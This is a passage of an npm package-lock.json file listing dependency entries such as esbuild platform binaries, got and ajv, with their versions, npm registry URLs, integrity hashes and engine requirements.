231 | "os": [
232 | "linux"
233 | ],
234 | "engines": {
235 | "node": ">=18"
236 | }
237 | },
238 | "node_modules/@esbuild/linux-ppc64": {
239 | "version": "0.24.2",
240 | "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.24.2.tgz",
241 | "integrity": "sha512-shsVrgCZ57Vr2L8mm39kO5PPIb+843FStGt7sGGoqiiWYconSxwTiuswC1VJZLCjNiMLAMh34jg4VSEQb+iEbw==",
242 | "cpu": [
243 | "ppc64"
244 | ],
245 | "dev": true,
246 | "optional": true,
247 | "os": [
248 | "linux"
249 | ],
250 | "engines": {
251 | "node": ">=18"
252 | }
253 | },
254 | "node_modules/@esbuild/linux-riscv64": {
255 | "version": "0.24.2",
256 | "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.24.2.tgz",
257 | "integrity": "sha512-4eSFWnU9Hhd68fW16GD0TINewo1L6dRrB+oLNNbYyMUAeOD2yCK5KXGK1GH4qD/kT+bTEXjsyTCiJGHPZ3eM9Q==",
258 | "cpu": [
259 | "riscv64"
260 | ],
261 | "dev": true,
262 | "optional": true,
263 | "os": [
264 | "linux"
265 | ],
266 | "engines": {
267 | "node": ">=18"
268 | }
269 | },
270 | "node_modules/@esbuild/linux-s390x": {
271 | "version": "0.24.2",
272 | "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.24.2.tgz",
273 | "integrity": "sha512-S0Bh0A53b0YHL2XEXC20bHLuGMOhFDO6GN4b3YjRLK//Ep3ql3erpNcPlEFed93hsQAjAQDNsvcK+hV90FubSw==",
274 | "cpu": [
275 | "s390x"
276 | ],
277 | "dev": true,
278 | "optional": true,
279 | "os": [
280 | "linux"
281 | ],
282 | "engines": {
283 | "node": ">=18"
284 | }
285 | },
286 | "node_modules/@esbuild/linux-x64": {
287 | "version": "0.24.2",
288 | "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.24.2.tgz",
289 | "integrity": "sha512-8Qi4nQcCTbLnK9WoMjdC9NiTG6/E38RNICU6sUNqK0QFxCYgoARqVqxdFmWkdonVsvGqWhmm7MO0jyTqLqwj0Q==",
290 | "cpu": [
291 | "x64"
292 | ],
293 | "dev": true,
294 | "optional": true,
295 | "os": [
296 | "linux"
297 | ],
298 | "engines": {
299 | "node": ">=18"
300 | }
301 | },
302 | "node_modules/@esbuild/netbsd-arm64": {
303 | "version": "0.24.2",
304 | "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.24.2.tgz",
305 | "integrity": "sha512-wuLK/VztRRpMt9zyHSazyCVdCXlpHkKm34WUyinD2lzK07FAHTq0KQvZZlXikNWkDGoT6x3TD51jKQ7gMVpopw==",
306 | "cpu": [
307 | "arm64"
308 | ],
309 | "dev": true,
310 | "optional": true,
311 | "os": [
312 | "netbsd"
313 | ],
314 | "engines": {
315 | "node": ">=18"
316 | }
317 | },
318 | "node_modules/@esbuild/netbsd-x64": {
319 | "version": "0.24.2",
320 | "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.24.2.tgz",
321 | "integrity": "sha512-VefFaQUc4FMmJuAxmIHgUmfNiLXY438XrL4GDNV1Y1H/RW3qow68xTwjZKfj/+Plp9NANmzbH5R40Meudu8mmw==",
322 | "cpu": [
323 | "x64"
324 | ],
325 | "dev": true,
326 | "optional": true,
327 | "os": [
328 | "netbsd"
329 | ],
330 | "engines": {
331 | "node": ">=18"
332 | }
333 | },
334 | "node_modules/@esbuild/openbsd-arm64": {
335 | "version": "0.24.2",
336 | "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.24.2.tgz",
337 | "integrity": "sha512-YQbi46SBct6iKnszhSvdluqDmxCJA+Pu280Av9WICNwQmMxV7nLRHZfjQzwbPs3jeWnuAhE9Jy0NrnJ12Oz+0A==",
338 | "cpu": [
339 | "arm64"
340 | ],
341 | "dev": true,
342 | "optional": true,
343 | "os": [
344 | "openbsd"
345 | ],
346 | "engines": {
347 | "node": ">=18"
348 | }
349 | },
350 | "node_modules/@esbuild/openbsd-x64": {
351 | "version": "0.24.2",
352 | "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.24.2.tgz",
353 | "integrity": "sha512-+iDS6zpNM6EnJyWv0bMGLWSWeXGN/HTaF/LXHXHwejGsVi+ooqDfMCCTerNFxEkM3wYVcExkeGXNqshc9iMaOA==",
354 | "cpu": [
355 | "x64"
356 | ],
357 | "dev": true,
358 | "optional": true,
359 | "os": [
360 | "openbsd"
361 | ],
362 | "engines": {
363 | "node": ">=18"
364 | }
365 | },
366 | "node_modules/@esbuild/sunos-x64": {
367 | "version": "0.24.2",
368 | "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.24.2.tgz",
369 | "integrity": "sha512-hTdsW27jcktEvpwNHJU4ZwWFGkz2zRJUz8pvddmXPtXDzVKTTINmlmga3ZzwcuMpUvLw7JkLy9QLKyGpD2Yxig==",
370 | "cpu": [
371 | "x64"
372 | ],
373 | "dev": true,
374 | "optional": true,
375 | "os": [
376 | "sunos"
377 | ],
378 | "engines": {
379 | "node": ">=18"
380 | }
381 | },
382 | "node_modules/@esbuild/win32-arm64": {
383 | "version": "0.24.2",
384 | "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.24.2.tgz",
385 | "integrity": "sha512-LihEQ2BBKVFLOC9ZItT9iFprsE9tqjDjnbulhHoFxYQtQfai7qfluVODIYxt1PgdoyQkz23+01rzwNwYfutxUQ==",
386 | "cpu": [
387 | "arm64"
388 | ],
389 | "dev": true,
390 | "optional": true,
391 | "os": [
392 | "win32"
393 | ],
394 | "engines": {
395 | "node": ">=18"
396 | }
397 | },
398 | "node_modules/@esbuild/win32-ia32": {
399 | "version": "0.24.2",
400 | "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.24.2.tgz",
401 | "integrity": "sha512-q+iGUwfs8tncmFC9pcnD5IvRHAzmbwQ3GPS5/ceCyHdjXubwQWI12MKWSNSMYLJMq23/IUCvJMS76PDqXe1fxA==",
402 | "cpu": [
403 | "ia32"
404 | ],
405 | "dev": true,
406 | "optional": true,
407 | "os": [
408 | "win32"
409 | ],
410 | "engines": {
411 | "node": ">=18"
412 | }
413 | },
414 | "node_modules/@esbuild/win32-x64": {
415 | "version": "0.24.2",
416 | "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.24.2.tgz",
417 | "integrity": "sha512-7VTgWzgMGvup6aSqDPLiW5zHaxYJGTO4OokMjIlrCtf+VpEL+cXKtCvg723iguPYI5oaUNdS+/V7OU2gvXVWEg==",
418 | "cpu": [
419 | "x64"
420 | ],
421 | "dev": true,
422 | "optional": true,
423 | "os": [
424 | "win32"
425 | ],
426 | "engines": {
427 | "node": ">=18"
428 | }
429 | },
430 | "node_modules/@sindresorhus/is": {
431 | "version": "4.6.0",
432 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz",
433 | "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==",
434 | "engines": {
435 | "node": ">=10"
436 | },
437 | "funding": {
438 | "url": "https://github.com/sindresorhus/is?sponsor=1"
439 | }
440 | },
441 | "node_modules/@szmarczak/http-timer": {
442 | "version": "4.0.6",
443 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz",
444 | "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==",
445 | "dependencies": {
446 | "defer-to-connect": "^2.0.0"
447 | },
448 | "engines": {
449 | "node": ">=10"
450 | }
451 | },
452 | "node_modules/@types/cacheable-request": {
453 | "version": "6.0.3",
454 | "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz",
455 | "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==",
456 | "dependencies": {
457 | "@types/http-cache-semantics": "*",
458 | "@types/keyv": "^3.1.4",
459 | "@types/node": "*",
460 | "@types/responselike": "^1.0.0"
461 | }
462 | },
463 | "node_modules/@types/http-cache-semantics": {
464 | "version": "4.0.4",
465 | "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.4.tgz",
466 | "integrity": "sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA=="
467 | },
468 | "node_modules/@types/keyv": {
469 | "version": "3.1.4",
470 | "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz",
471 | "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==",
472 | "dependencies": {
473 | "@types/node": "*"
474 | }
475 | },
476 | "node_modules/@types/node": {
477 | "version": "22.12.0",
478 | "resolved": "https://registry.npmjs.org/@types/node/-/node-22.12.0.tgz",
479 | "integrity": "sha512-Fll2FZ1riMjNmlmJOdAyY5pUbkftXslB5DgEzlIuNaiWhXd00FhWxVC/r4yV/4wBb9JfImTu+jiSvXTkJ7F/gA==",
480 | "dependencies": {
481 | "undici-types": "~6.20.0"
482 | }
483 | },
484 | "node_modules/@types/responselike": {
485 | "version": "1.0.3",
486 | "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz",
487 | "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==",
488 | "dependencies": {
489 | "@types/node": "*"
490 | }
491 | },
492 | "node_modules/agent-base": {
493 | "version": "7.1.3",
494 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.3.tgz",
495 | "integrity": "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw==",
496 | "license": "MIT",
497 | "engines": {
498 | "node": ">= 14"
499 | }
500 | },
501 | "node_modules/ajv": {
502 | "version": "6.12.6",
503 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
504 | "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
505 | "license": "MIT",
506 | "dependencies": {
507 | "fast-deep-equal": "^3.1.1",
508 | "fast-json-stable-stringify": "^2.0.0",
509 | "json-schema-traverse": "^0.4.1",
510 | "uri-js": "^4.2.2"
511 | },
512 | "funding": {
513 | "type": "github",
514 | "url": "https://github.com/sponsors/epoberezkin"
515 | }
516 | },
517 | "node_modules/asn1": {
518 | "version": "0.2.6",
519 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
520 | "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
521 | "license": "MIT",
522 | "dependencies": {
523 | "safer-buffer": "~2.1.0"
524 | }
525 | },
526 | "node_modules/assert-plus": {
527 | "version": "1.0.0",
528 | "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
529 | "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==",
530 | "license": "MIT",
531 | "engines": {
532 | "node": ">=0.8"
533 | }
534 | },
535 | "node_modules/async-mutex": {
536 | "version": "0.5.0",
537 | "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.5.0.tgz",
538 | "integrity": "sha512-1A94B18jkJ3DYq284ohPxoXbfTA5HsQ7/Mf4DEhcyLx3Bz27Rh59iScbB6EPiP+B+joue6YCxcMXSbFC1tZKwA==",
539 | "license": "MIT",
540 | "dependencies": {
541 | "tslib": "^2.4.0"
542 | }
543 | },
544 | "node_modules/asynckit": {
545 | "version": "0.4.0",
546 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
547 | "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
548 | "license": "MIT"
549 | },
550 | "node_modules/atomic-sleep": {
551 | "version": "1.0.0",
552 | "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz",
553 | "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==",
554 | "license": "MIT",
555 | "engines": {
556 | "node": ">=8.0.0"
557 | }
558 | },
559 | "node_modules/aws-sign2": {
560 | "version": "0.7.0",
561 | "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
562 | "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==",
563 | "license": "Apache-2.0",
564 | "engines": {
565 | "node": "*"
566 | }
567 | },
568 | "node_modules/aws4": {
569 | "version": "1.13.2",
570 | "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz",
571 | "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==",
572 | "license": "MIT"
573 | },
574 | "node_modules/bcrypt-pbkdf": {
575 | "version": "1.0.2",
576 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
577 | "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
578 | "license": "BSD-3-Clause",
579 | "dependencies": {
580 | "tweetnacl": "^0.14.3"
581 | }
582 | },
583 | "node_modules/cacheable-lookup": {
584 | "version": "5.0.4",
585 | "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz",
586 | "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==",
587 | "engines": {
588 | "node": ">=10.6.0"
589 | }
590 | },
591 | "node_modules/cacheable-request": {
592 | "version": "7.0.4",
593 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz",
594 | "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==",
595 | "dependencies": {
596 | "clone-response": "^1.0.2",
597 | "get-stream": "^5.1.0",
598 | "http-cache-semantics": "^4.0.0",
599 | "keyv": "^4.0.0",
600 | "lowercase-keys": "^2.0.0",
601 | "normalize-url": "^6.0.1",
602 | "responselike": "^2.0.0"
603 | },
604 | "engines": {
605 | "node": ">=8"
606 | }
607 | },
608 | "node_modules/caseless": {
609 | "version": "0.12.0",
610 | "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
611 | "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==",
612 | "license": "Apache-2.0"
613 | },
614 | "node_modules/clone-response": {
615 | "version": "1.0.3",
616 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz",
617 | "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==",
618 | "dependencies": {
619 | "mimic-response": "^1.0.0"
620 | },
621 | "funding": {
622 | "url": "https://github.com/sponsors/sindresorhus"
623 | }
624 | },
625 | "node_modules/combined-stream": {
626 | "version": "1.0.8",
627 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
628 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
629 | "license": "MIT",
630 | "dependencies": {
631 | "delayed-stream": "~1.0.0"
632 | },
633 | "engines": {
634 | "node": ">= 0.8"
635 | }
636 | },
637 | "node_modules/core-util-is": {
638 | "version": "1.0.3",
639 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
640 | "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
641 | "license": "MIT"
642 | },
643 | "node_modules/dashdash": {
644 | "version": "1.14.1",
645 | "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
646 | "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==",
647 | "license": "MIT",
648 | "dependencies": {
649 | "assert-plus": "^1.0.0"
650 | },
651 | "engines": {
652 | "node": ">=0.10"
653 | }
654 | },
655 | "node_modules/date-fns": {
656 | "version": "4.1.0",
657 | "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-4.1.0.tgz",
658 | "integrity": "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==",
659 | "license": "MIT",
660 | "funding": {
661 | "type": "github",
662 | "url": "https://github.com/sponsors/kossnocorp"
663 | }
664 | },
665 | "node_modules/debug": {
666 | "version": "4.4.0",
667 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz",
668 | "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==",
669 | "license": "MIT",
670 | "dependencies": {
671 | "ms": "^2.1.3"
672 | },
673 | "engines": {
674 | "node": ">=6.0"
675 | },
676 | "peerDependenciesMeta": {
677 | "supports-color": {
678 | "optional": true
679 | }
680 | }
681 | },
682 | "node_modules/decompress-response": {
683 | "version": "6.0.0",
684 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
685 | "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
686 | "dependencies": {
687 | "mimic-response": "^3.1.0"
688 | },
689 | "engines": {
690 | "node": ">=10"
691 | },
692 | "funding": {
693 | "url": "https://github.com/sponsors/sindresorhus"
694 | }
695 | },
696 | "node_modules/decompress-response/node_modules/mimic-response": {
697 | "version": "3.1.0",
698 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
699 | "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
700 | "engines": {
701 | "node": ">=10"
702 | },
703 | "funding": {
704 | "url": "https://github.com/sponsors/sindresorhus"
705 | }
706 | },
707 | "node_modules/defer-to-connect": {
708 | "version": "2.0.1",
709 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz",
710 | "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==",
711 | "engines": {
712 | "node": ">=10"
713 | }
714 | },
715 | "node_modules/delayed-stream": {
716 | "version": "1.0.0",
717 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
718 | "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
719 | "license": "MIT",
720 | "engines": {
721 | "node": ">=0.4.0"
722 | }
723 | },
724 | "node_modules/ecc-jsbn": {
725 | "version": "0.1.2",
726 | "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
727 | "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==",
728 | "license": "MIT",
729 | "dependencies": {
730 | "jsbn": "~0.1.0",
731 | "safer-buffer": "^2.1.0"
732 | }
733 | },
734 | "node_modules/ecc-jsbn/node_modules/jsbn": {
735 | "version": "0.1.1",
736 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
737 | "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==",
738 | "license": "MIT"
739 | },
740 | "node_modules/encoding-japanese": {
741 | "version": "2.2.0",
742 | "resolved": "https://registry.npmjs.org/encoding-japanese/-/encoding-japanese-2.2.0.tgz",
743 | "integrity": "sha512-EuJWwlHPZ1LbADuKTClvHtwbaFn4rOD+dRAbWysqEOXRc2Uui0hJInNJrsdH0c+OhJA4nrCBdSkW4DD5YxAo6A==",
744 | "license": "MIT",
745 | "engines": {
746 | "node": ">=8.10.0"
747 | }
748 | },
749 | "node_modules/end-of-stream": {
750 | "version": "1.4.4",
751 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
752 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
753 | "dependencies": {
754 | "once": "^1.4.0"
755 | }
756 | },
757 | "node_modules/esbuild": {
758 | "version": "0.24.2",
759 | "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.24.2.tgz",
760 | "integrity": "sha512-+9egpBW8I3CD5XPe0n6BfT5fxLzxrlDzqydF3aviG+9ni1lDC/OvMHcxqEFV0+LANZG5R1bFMWfUrjVsdwxJvA==",
761 | "dev": true,
762 | "hasInstallScript": true,
763 | "bin": {
764 | "esbuild": "bin/esbuild"
765 | },
766 | "engines": {
767 | "node": ">=18"
768 | },
769 | "optionalDependencies": {
770 | "@esbuild/aix-ppc64": "0.24.2",
771 | "@esbuild/android-arm": "0.24.2",
772 | "@esbuild/android-arm64": "0.24.2",
773 | "@esbuild/android-x64": "0.24.2",
774 | "@esbuild/darwin-arm64": "0.24.2",
775 | "@esbuild/darwin-x64": "0.24.2",
776 | "@esbuild/freebsd-arm64": "0.24.2",
777 | "@esbuild/freebsd-x64": "0.24.2",
778 | "@esbuild/linux-arm": "0.24.2",
779 | "@esbuild/linux-arm64": "0.24.2",
780 | "@esbuild/linux-ia32": "0.24.2",
781 | "@esbuild/linux-loong64": "0.24.2",
782 | "@esbuild/linux-mips64el": "0.24.2",
783 | "@esbuild/linux-ppc64": "0.24.2",
784 | "@esbuild/linux-riscv64": "0.24.2",
785 | "@esbuild/linux-s390x": "0.24.2",
786 | "@esbuild/linux-x64": "0.24.2",
787 | "@esbuild/netbsd-arm64": "0.24.2",
788 | "@esbuild/netbsd-x64": "0.24.2",
789 | "@esbuild/openbsd-arm64": "0.24.2",
790 | "@esbuild/openbsd-x64": "0.24.2",
791 | "@esbuild/sunos-x64": "0.24.2",
792 | "@esbuild/win32-arm64": "0.24.2",
793 | "@esbuild/win32-ia32": "0.24.2",
794 | "@esbuild/win32-x64": "0.24.2"
795 | }
796 | },
797 | "node_modules/extend": {
798 | "version": "3.0.2",
799 | "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
800 | "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
801 | "license": "MIT"
802 | },
803 | "node_modules/extsprintf": {
804 | "version": "1.3.0",
805 | "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
806 | "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==",
807 | "engines": [
808 | "node >=0.6.0"
809 | ],
810 | "license": "MIT"
811 | },
812 | "node_modules/fast-deep-equal": {
813 | "version": "3.1.3",
814 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
815 | "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
816 | "license": "MIT"
817 | },
818 | "node_modules/fast-json-stable-stringify": {
819 | "version": "2.1.0",
820 | "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
821 | "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
822 | "license": "MIT"
823 | },
824 | "node_modules/fast-redact": {
825 | "version": "3.5.0",
826 | "resolved": "https://registry.npmjs.org/fast-redact/-/fast-redact-3.5.0.tgz",
827 | "integrity": "sha512-dwsoQlS7h9hMeYUq1W++23NDcBLV4KqONnITDV9DjfS3q1SgDGVrBdvvTLUotWtPSD7asWDV9/CmsZPy8Hf70A==",
828 | "license": "MIT",
829 | "engines": {
830 | "node": ">=6"
831 | }
832 | },
833 | "node_modules/forever-agent": {
834 | "version": "0.6.1",
835 | "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
836 | "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==",
837 | "license": "Apache-2.0",
838 | "engines": {
839 | "node": "*"
840 | }
841 | },
842 | "node_modules/get-stream": {
843 | "version": "5.2.0",
844 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
845 | "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
846 | "dependencies": {
847 | "pump": "^3.0.0"
848 | },
849 | "engines": {
850 | "node": ">=8"
851 | },
852 | "funding": {
853 | "url": "https://github.com/sponsors/sindresorhus"
854 | }
855 | },
856 | "node_modules/getpass": {
857 | "version": "0.1.7",
858 | "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
859 | "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==",
860 | "license": "MIT",
861 | "dependencies": {
862 | "assert-plus": "^1.0.0"
863 | }
864 | },
865 | "node_modules/got": {
866 | "version": "11.8.6",
867 | "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz",
868 | "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==",
869 | "dependencies": {
870 | "@sindresorhus/is": "^4.0.0",
871 | "@szmarczak/http-timer": "^4.0.5",
872 | "@types/cacheable-request": "^6.0.1",
873 | "@types/responselike": "^1.0.0",
874 | "cacheable-lookup": "^5.0.3",
875 | "cacheable-request": "^7.0.2",
876 | "decompress-response": "^6.0.0",
877 | "http2-wrapper": "^1.0.0-beta.5.2",
878 | "lowercase-keys": "^2.0.0",
879 | "p-cancelable": "^2.0.0",
880 | "responselike": "^2.0.0"
881 | },
882 | "engines": {
883 | "node": ">=10.19.0"
884 | },
885 | "funding": {
886 | "url": "https://github.com/sindresorhus/got?sponsor=1"
887 | }
888 | },
889 | "node_modules/har-schema": {
890 | "version": "2.0.0",
891 | "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
892 | "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==",
893 | "license": "ISC",
894 | "engines": {
895 | "node": ">=4"
896 | }
897 | },
898 | "node_modules/har-validator": {
899 | "version": "5.1.5",
900 | "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz",
